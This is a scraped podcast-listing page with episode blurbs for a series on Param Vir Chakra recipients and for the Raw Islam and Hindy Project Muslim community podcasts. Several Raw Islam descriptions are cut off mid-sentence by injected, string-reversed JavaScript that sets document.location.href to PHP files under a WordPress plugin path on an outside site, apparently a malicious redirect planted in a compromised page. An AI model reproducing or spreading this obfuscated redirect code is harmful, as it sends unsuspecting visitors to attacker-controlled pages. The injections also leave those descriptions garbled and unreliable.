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This podcast, hosted by imam Ibrahim Hindy, presents casual conversations with imams, Shaykhs, and Muslim activists on a number of topics from social justice to travel and everything in between!
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We bring to you raw emotion and courage through the Tales of Param Vir Chakra Heroes', a podcast that delves deep into the brave stories of 21 recipients across eight wars. Through a moving storytelling lens, we navigate the intense emotions that fuelled these men in moments of great hardships. Each episode unfolds a world of sacrifice, love, and undefeated spirit, showcasing their extraordinary bravery. Join us in honoring these unsung heroes, as we connect with the profound emotions that e ...
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In this episode, we become a part of the story and life of Captain Vikram Batra, the epitome of bravery and sacrifice. Known as "Kargil Ka Sher," Captain Batra's fearless spirit and determination propelled him to climb and conquer peaks, overcoming countless obstacles during the Kargil War. However, the episode doesn't just recount his heroic feats…
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Join us in exploring the incredible journey of Sanjay Kumar, whose roots in a tranquil Himachal village planted the seeds of bravery and selflessness. Raised on stories of military valour, Sanjay's determination led him from his rural upbringing to the bustling streets of Delhi, where he embarked on a path to serve his nation. Rising through the ra…
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Ep19 - Subedar Major Yogendra Singh Yadav
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10:30Welcome to the remarkable journey of Yogendra Singh Yadav, a living hero and recipient of the Param Vir Chakra. Born into a family with a rich military background, Yadav's courage was tested in the harrowing battlegrounds near Kargil and Ladakh during the Vijay Abhyaan. Despite facing daunting challenges at high altitudes, Yadav fearlessly led his …
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From humble beginnings, Captain Manoj Kumar Pandey's dedication to serving his country burned brightly, evident in his interest in bodybuilding and his resolute declaration during his Services Selection Board interview: "I want to win the Param Vir Chakra." During the Kargil War, Pandey fearlessly led his troops, emptying three enemy bunkers, showc…
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We pay homage to Major Ramaswamy Parmeshwaran, a distinguished soldier whose bravery and sacrifice during Operation Pawan in the Sri Lanka War continue to inspire generations. Explore the turbulent backdrop of ethnic tensions as we uncover Major Parmeshwaran's unwavering resolve in the face of adversity and the complexities of Operation Pawan, set …
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Step into the treacherous terrain of high-altitude warfare with Subedar Bana Singh, a true hero whose unwavering determination and fearless actions changed the course of battle. In this gripping episode, we unravel the extraordinary tale of Subedar Bana Singh's courageous assault on Pakistani troops, where he refused to yield an inch of ground, lau…
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Major Hoshiar Singh, a revered recipient of the Param Vir Chakra, whose heroic deeds during the Indo-Pak War left an indelible mark on history. Leading his battalion with unmatched courage, Major Hoshiar Singh played a crucial role in shaping the outcome of the conflict and the subsequent partition. Delving deeper into his life, listeners will unra…
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In this episode, we become a part of the awe-inspiring story of Arun Khetarpal, a young Indian officer who displayed unmatched bravery and sacrifice at just 21 years old. Stationed at the Jammu and Kashmir border, Khetarpal's valour knew no bounds as he played a huge role in destroying 10 enemy tanks, altering the course of battle. Through personal…
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In this episode, we pay tribute to Lance Nirmal Singh Sekhon, the only Indian Air Force officer ever awarded the Param Vir Chakra, India's highest military honor. Engaged in intense aerial combat amidst tumultuous skies, Sekhon displayed unparalleled courage as he confronted enemy forces from his fighter jet. Let's delve into the remarkable acts of…
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Born in Jari village in Jharkhand, Ekka's journey from a humble background to the forefront of battlefields is a testament to his unyielding spirit. Discover the harrowing events of the 1971 Indo-Pakistani War, where Ekka's valor shone brightest. Despite sustaining multiple gunshot wounds during the Battle of Gangasagar, Ekka refused to retreat, in…
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Ep11 - Lieutenant Colonel Ardeshir Birzorji Tarapore
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8:24This is the remarkable journey of Ardeshir Birzorji Tarapore, a decorated soldier who hailed from the esteemed lineage of General Ratanjiba, a key figure in the army of Chatrapati Shivaji Maharaj. The lieutenant colonel's unwavering determination led him to pursue his passion for tank warfare, aspiring to specialize in a specific battalion for the …
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Join us in this gripping episode of Abdul Hamid's bravery. Faced with overwhelming Pakistani forces during the Indo-Pak war of 1965, Abdul Hamid's courageous act of destroying enemy tanks single-handedly became a legendary tale of heroism. Author Rachna Bisht Rawat looked towards him as her inspiration. She wrote about this remarkable soldier, offe…
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This episode shines a light on Major Shaitan Singh, a fearless leader who etched his name in history during the harsh winters of Leh Ladakh. Despite facing hopeless odds, the major's determination and courage led his troops into battle. Tragically, he made the ultimate sacrifice on the battlefield, but his legacy lives on in the hearts of those he …
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We are diving into another heroic tale that has shaped the history of India. In this episode, we spotlight the extraordinary bravery and unwavering courage of Subedar Joginder Singh, a true symbol of valor during the Sino-Indian War of 1962. Awarded the Param Vir Chakra, India's highest military decoration, Joginder Singh's story epitomizes the spi…
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In this episode, we delve into the remarkable life of Dhan Singh Thapa, a true hero whose courage and sacrifice left an indelible mark on history. From his valor in the face of adversity to his unwavering dedication to his country, join us as we explore the incredible journey of this legendary figure. We'll also shine a light on his time as a hosta…
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In this episode, the spotlight shines brightly on the courageous soul of Gurbachan Singh Salaria, a name etched in the archives of bravery and selflessness. Join us as we journey through the extraordinary life of this warrior, whose courage knew no bounds and whose sacrifice continues to inspire generations. From the battlefields of the 1961 Congo …
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The heroic journey of Subedar Karam Singh, an Indian soldier who displayed extraordinary courage and leadership in the face of adversity. Joining the army in 1941, he distinguished himself during World War II's Burma Campaign, earning the Military Medal for valour. During the Indo-Pakistani War of 1947, he defended a vital post at Richhmar Gali, ea…
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Company Havildar Major Piru Singh Shekhawat, a Param Vir Chakra awardee, in this military drama. Enlisting in 1936, he served across the North-West Frontier, Japan, and eventually in the Indo-Pakistani War of 1947. Witness his heroic stand during a pivotal battle in Jammu and Kashmir, where, despite heavy casualties, he single-handedly seized a Pak…
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Step into the midst of conflict alongside Rama Raghoba Rane in this gripping episode. This storyline will transport you to the tumultuous landscapes of war, where Rama Rane showcased unparalleled courage. From the frontline to crucial moments of battle, delve into Rane's renown as an invincible warrior. Prepare for scenarios reminiscent of war, whe…
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Embark on the brave expedition of Naik Jadunath Singh, a recipient of the Param Vir Chakra, and his group of nine comrades, as they face the harsh trials of the Japanese Burma campaign. Witness the genuine emotions of companionship, sacrifice, and unwavering courage that characterized their bold stance on the battlefield. This podcast reveals the n…
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Welcome to a special episode of "Param Vir Chakra: Garv ki Gathayein." In this installment, we delve into the remarkable life and sacrifice of Major Somnath Sharma, PVC, the first recipient of India's Param Vir Chakra. Join us as we explore the heroic journey of a man who exemplified courage, dedication, and sacrifice in the face of adversity.…
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Raw Islam 87: The Last 10 Days of Ramadan
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On this, halfway through Ramadan episode of the Raw Islam Podcast, the listeners voted in the Twitter poll, $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noi…
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This episode of the Raw Islam podcast opens on a very somber note, as Imam Azhar addresses the arson attack on a mosque in the United States. While he wanted $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatno…
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Raw Islam 84: How Was Your First Ramadan Fast?
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26:28This episode of the Raw Islam podcast recorded at the start of Ramadan, $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.fl…
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Raw Islam 83: The Real Ramadan – Fact vs Fiction
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Raw Islam 82: Desecrations of Houses of Worship
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Raw Islam 78: #ISt$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp ...
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EP 019 - Navaid Aziz on Khabib vs Mcgregor
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45:04We're back with a bang! Sh Navaid Aziz joins Ibrahim to unpack UFC 229 between Khabib and Mcgregor - specifically how the Muslim community reacted to it, and discussing the finer points of discussion. For example: Is MMA haram? If so, is it haram for everyone or could there be exceptions? Was this fight really between Eman and Kufr? Was it natural …
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EP 018 - Shaykh Talkin' Sports ft. Sh Aarij Anwer
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1:30:23Sh Aarij Anwer joins us for a really unique episode: Shaykhs Talkin' Sports. We break down the Kawhi Leonard trade to the Toronto Raptors, how people reacted to the trade and yes - we find some Islamic wisdoms between all the sports talk.By Cast Work Studio
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Ibrahim Hindy sits down with Shaykh Alaa Elsayed - the powerhouse imam behind one of Canada's largest mosques (ISNA Canada) and a lead figure with Mercy Mission. Shaykh Alaa is known for his sense of humour so we asked him to recall some interesting and funny masjid stories that he's seen before. Oh! And Shaykh Daood Butt makes an appearance and ch…
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EP 016 - Sh Daood Butt and Ustadha Tasneem
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27:06We get to sit down with Sh. Daood Butt and his wife, Ustadha Tasneem, and talk about their emotions going to hajj for the first time as a couple. Sh Daood reflects on his past experiences during hajj and Ustadha Tasneem talks about how she is preparing herself spiritually for her first hajj. By the way, if the beginning sounds a bit ad hoc - it's b…
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The Danforth, mental health and spirituality Shaykh Omar makes his HPP debut on the heels of the Danforth Shooting in Toronto. We discuss the community reaction and mental health. The conversation eventually veers into concepts of madhhabs, the evolution of fiqh and how Muslims should draw upon previous scholarship.…
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An emotional talk by imam Ibrahim Hindy about the nature of our heart and how God exposes our reality at death.
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EP 013 - Moonfighting and the crisis of Ijtihad
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29:47On the first episode of Ramadan Solo, Ibrahim explores the latest Moonsighting controversy and uses it as an example for how the Ummah has struggled to execute Ijtihad in the 21st century.
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Winning Ramadan Shaykh Mamoun Hassan joins Ibrahim and talk about what it means to succeed in Ramadan, what the pitfalls are in our collective mentality when approaching the month, how Ramadan affect imams and people in da'wah and how Ramadan should change the way that we look at food.
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Razia Sultan Hamidi, a Muslim activist based in Montreal, joins Ibrahim and the two talk about talk about their experiences as Muslims in the media and how to effectively project your voice. Ibrahim reflects about his recent AMA on Toronto talk radio Razia also talks about youth and women engagement in Mosques and Muslim spaces, the quality of Khut…
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Boonaa Mohammed joins and does what he does: dropping truth bomb after truth bomb. We talk about Trump, the alt-Right, how Muslims react to art, and being a black Muslim.
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Muslim Marriage Crisis Imam Hosam Helal joins Ibrahim on the podcast and the two discuss the transition into being a younger imam and having to deal with community politics at a young age. Hosam shares his experiences counselling youth and the two talk about the crisis of young Muslims not being able to get married and the reasons for it.…
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Ibrahim is joined by Asmaa Hussein, author of A Temporary Gift. The two discuss dealing with painful life experiences and how to turn it into something positive. They talk about the fake reality of social media, the YouTube shooter, and how social media might make us all go crazy.
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Is it better to ignore hate or respond to it? On the eve of 'Punish a Muslim Day', imam Ibrahim shares a bizarre story of a woman who entered his mosque, interrupting prayer services and tore pages of a Qur'an. The two discuss hate that Muslims face, and the reaction that we sometimes have towards it. Sh. Musleh also shares his personal reflections…
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Male Privilege VS Female Privilege Hijabi comedienne, oh and also my little sister, Salma Hindy and I were away for Umrah and had an interesting discussion in our hotel room about spiritually, comedy and feminism. We tried taking score of all the male vs female privilege we came across during our Umrah trip and well...you'll have to listen for the …
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What really happened to the girl whose hijab was torn? Did she lie? The answer that everyone in Canada was looking for. Mohammad Hashim drops in and talks about his work in advocacy and drops some vital information that you will want to hear!
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Black Panther vs. Ertugrul. Shaykh Mamoun Hassan drops in and gives his analysis of the Black Panther movie as an imam, a black man, a father and a graduate of Media and Popular Culture. We then move in to juxtaposing Black Panther and its reception with the popular Turkish series Ertugrul.
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EP 003 The Hindy Project - Daood Butt
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1:19:39The always chill shaykh Daood Butt tells Ibrahim Hindy a story of plastic bags filled with poop. It's much sadder than you would think. He also talks about his experiences working with the Quebec community in the aftermath of the Mosque massacre and its one year anniversary.
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EP 002 The Hindy Project - Hamza Andreas Tzortzis
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56:32Imam Ibrahim Hindy sits down with Ustadh Hamza Tzortis. The two chat about learning from past mistakes, how different the UK is from everywhere and things get really emotional when Hamza discusses his relationship with his father.
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Ibrahim sits down with Zia Ali for the very first episode of The Hindy Project. They talk about Hajj, Ibrahim’s recent trip to London, and the struggles of the average imam.
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